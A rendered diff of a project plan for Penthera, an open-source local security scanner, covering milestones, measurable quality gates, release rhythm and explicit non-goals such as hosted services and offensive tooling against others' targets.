4
|
+
on without thinking about it. Written 2026-10-19. The [roadmap](../ROADMAP.md)
|
|
5
|
+
says *what* ships; this says *how well*, and in what order.
|
|
6
|
+
|
|
7
|
+
Penthera is maintained part-time alongside a PhD, so the plan is built around
|
|
8
|
+
small, finishable pieces and automation that keeps quality from depending on
|
|
9
|
+
anyone's free evenings.
|
|
10
|
+
|
|
11
|
+
## The problem we solve
|
|
12
|
+
|
|
13
|
+
Teams ship apps and AI agents faster than anyone can secure them. Penthera is
|
|
14
|
+
the open-source security team for teams that don't have one, in three moments:
|
|
15
|
+
|
|
16
|
+
1. **Before you deploy.** Test the app on localhost or a preview URL, fix what
|
|
17
|
+
it finds on a local branch, and prove the fix.
|
|
18
|
+
2. **What you build with.** Vet dependencies, installs, and AI tooling (skills,
|
|
19
|
+
MCP servers, hooks) before they get access to your machine and credentials.
|
|
20
|
+
3. **After you ship.** Keep watching your own production for drift, and produce
|
|
21
|
+
the reports and evidence that customers and regulators ask for.
|
|
22
|
+
|
|
23
|
+
All of it local, deterministic, and free. Anything that doesn't serve one of
|
|
24
|
+
these three moments is out of scope.
|
|
25
|
+
|
|
26
|
+
## Milestones
|
|
27
|
+
|
|
28
|
+
| Release | Theme | Done when |
|
|
29
|
+
|---------|-------|-----------|
|
|
30
|
+
| v1.5.0 | AI apps and compliance | Pre-commit hook, license policy, CRA helper, AI-BOM, signed rule packs, Python `deps`, dashboard, internal audit all merged and passing the audit |
|
|
31
|
+
| v1.6.0 | Before you deploy | `penthera ship` and preview-deployment scanning work on a real Vercel and Netlify project |
|
|
32
|
+
| v1.7.0 | After you ship | `penthera watch` runs weekly on three real production apps for a month without a false alarm anyone complained about |
|
|
33
|
+
| v2.0.0 | Stable | Public interfaces frozen (CLI flags, JSON report schema, policy file, rule-pack format), documented, and covered by compatibility tests |
|
|
34
|
+
|
|
35
|
+
## What "perfect" means, concretely
|
|
36
|
+
|
|
37
|
+
Quality is measured, not felt. Each item below has a gate that the internal
|
|
38
|
+
audit (`npm run audit:internal`) or CI checks automatically.
|
|
39
|
+
|
|
40
|
+
### 1. Accuracy
|
|
41
|
+
- Benchmark precision and recall never drop between releases (the audit fails
|
|
42
|
+
on a drop of more than 0.02).
|
|
43
|
+
- Expand the benchmark beyond the mock server: OWASP Juice Shop, crAPI, a
|
|
44
|
+
deliberately vulnerable Next.js app, and fixture sets for `agents` and `deps`.
|
|
45
|
+
- Every false positive reported by a user becomes a regression test before it
|
|
46
|
+
is fixed.
|
|
47
|
+
|
|
48
|
+
### 2. First-run experience
|
|
49
|
+
- From `npx penthera` to a useful result in under two minutes on a fresh Next.js
|
|
50
|
+
or Express app, measured on a clean machine each release.
|
|
51
|
+
- Every error message says what happened and what to do next. No stack traces
|
|
52
|
+
for expected failures.
|
|
53
|
+
- Works on macOS, Linux, and Windows (add a Windows CI job; the symlinked Cursor
|
|
54
|
+
skill and path handling are the known risks).
|
|
55
|
+
|
|
56
|
+
### 3. Documentation
|
|
57
|
+
- The README stays a front page: problem, what it does, install, trust. Feature
|
|
58
|
+
detail moves into a docs site (`docs/`), one page per command, each with a
|
|
59
|
+
copy-paste example and its real output.
|
|
60
|
+
- Every command's `--help` and its docs page are generated from or tested
|
|
61
|
+
against the same source, so they never drift.
|
|
62
|
+
|
|
63
|
+
### 4. Stability of interfaces
|
|
64
|
+
- A versioned JSON schema for reports, the policy file, and rule packs, checked
|
|
65
|
+
in CI.
|
|
66
|
+
- A deprecation policy: one minor release of warnings before anything breaks.
|
|
67
|
+
|
|
68
|
+
### 5. Security of Penthera itself
|
|
69
|
+
- Self-scan clean on every release (`--repo`, `agents`, `deps`, the dashboard).
|
|
70
|
+
- Anything that parses untrusted input (packages, configs, scan responses, rule
|
|
71
|
+
packs) has a fuzz or hostile-input test. The ReDoS fixed in `deps` is the
|
|
72
|
+
reason why.
|
|
73
|
+
- An external review before v2.0: ask an academic security group or a volunteer
|
|
74
|
+
from the OWASP community to look at the fix loop, the install firewall, and
|
|
75
|
+
the dashboard, the three parts that write files or run commands.
|
|
76
|
+
|
|
77
|
+
### 6. Real-world proof
|
|
78
|
+
- Three pilot projects (friendly teams, a student project, one of the
|
|
79
|
+
maintainer's own) run Penthera before each deploy for a month. Their feedback
|
|
80
|
+
sets the priorities for the next release.
|
|
81
|
+
- Publish what Penthera found and fixed, with permission, as short case studies.
|
|
82
|
+
|
|
83
|
+
## Working rhythm
|
|
84
|
+
|
|
85
|
+
- One release every two to three weeks, each with a single theme.
|
|
86
|
+
- The internal audit runs weekly and before every tag; a red audit blocks the
|
|
87
|
+
release.
|
|
88
|
+
- Issues labelled `good first issue` are kept stocked (three to five open at a
|
|
89
|
+
time), so contributors can help without needing the maintainer's time.
|
|
90
|
+
- Anything that needs judgement (a new probe that sends payloads, anything
|
|
91
|
+
touching third parties) gets a short design note in `docs/` before code.
|
|
92
|
+
|
|
93
|
+
## Explicitly not doing
|
|
94
|
+
|
|
95
|
+
- A hosted service, telemetry, or an update channel that fetches rules at run
|
|
96
|
+
time.
|
|
97
|
+
- Offensive tooling for targets the user does not own, and attack-payload
|
|
98
|
+
generation for AI systems.
|
|
99
|
+
- An LLM as the judge of what is malicious. Models may help write fixes,
|
|
100
|
+
locally, and always labelled as such.
|